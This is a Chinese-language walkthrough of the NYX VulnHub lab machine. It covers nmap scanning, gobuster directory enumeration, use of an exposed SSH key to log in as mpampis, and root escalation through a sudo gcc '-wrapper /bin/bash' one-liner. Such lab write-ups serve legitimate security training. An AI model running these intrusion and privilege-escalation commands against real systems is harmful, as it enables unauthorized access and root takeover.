NYX靶机笔记

概述

VulnHub里的简单靶机

靶机地址：https://download.vulnhub.com/nyx/nyxvm.zip

1、nmap扫描

1）主机发现

# -sn 只做ping扫描，不做端口扫描
nmap -sn 192.168.84.1/24 

# 发现靶机ip为
MAC Address: 00:50:56:E0:D5:D4 (VMware)
Nmap scan report for 192.168.84.137

2）端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.84.137 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 08:13 EDT
Nmap scan report for 192.168.84.137
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:6F:B3:09 (VMware)Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds

# sT 以tcp扫描，sC 以默认脚本扫描，sV 输出端口详细信息 O 探测操作系统版本
sudo nmap -sT -sV -sC -O  -p22,80 192.168.84.137 -o detailsStarting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 08:14 EDT
Nmap scan report for 192.168.84.137
Host is up (0.0017s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fc8b87f436cd7d0fd8f31615a947f10b (RSA)
|   256 b45c089602c6a80b01fd4968ddaafb3a (ECDSA)
|_  256 cbbf2293697660a47dc019f3c715e73c (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: nyx
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:6F:B3:09 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.99 seconds

结果可以看到22为常规ssh服务，80为Apache服务，版本为2.4.38 操作系统版本 Linux 4.15 - 5.6

3）默认漏洞脚本扫描

sudo nmap --script=vuln 192.168.84.137 -o vulnStarting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 08:15 EDT
Nmap scan report for 192.168.84.137
Host is up (0.000058s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|_  /d41d8cd98f00b204e9800998ecf8427e.php: Seagate BlackArmorNAS 110/220/440 Administrator Password Reset Vulnerability
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 00:0C:29:6F:B3:09 (VMware)Nmap done: 1 IP address (1 host up) scanned in 32.22 seconds

看到80端口,有一个枚举信息 /d41d8cd98f00b204e9800998ecf8427e.php我们用浏览器打开看一看

2、Web渗透

1）主页

源码信息

漏洞扫面探测的枚举文件看到

ssh的key信息，保存下来

2）目录爆破

sudo gobuster dir -u http://192.168.84.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,tar,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.137
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip,tar,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/key.php              (Status: 200) [Size: 287]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

打开key.php文件

三、获得立足点

结合我们以上获取的信息，ssh信息的标题和密钥，尝试ssh登陆

sudo ssh -i id_rsa mpampis@192.168.84.137

成功获得立足点

四、提权到root

sudo -l

Matching Defaults entries for mpampis on nyx:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser mpampis may run the following commands on nyx:(root) NOPASSWD: /usr/bin/gcc

看到gcc可以执行

sudo gcc -wrapper /bin/bash,-s .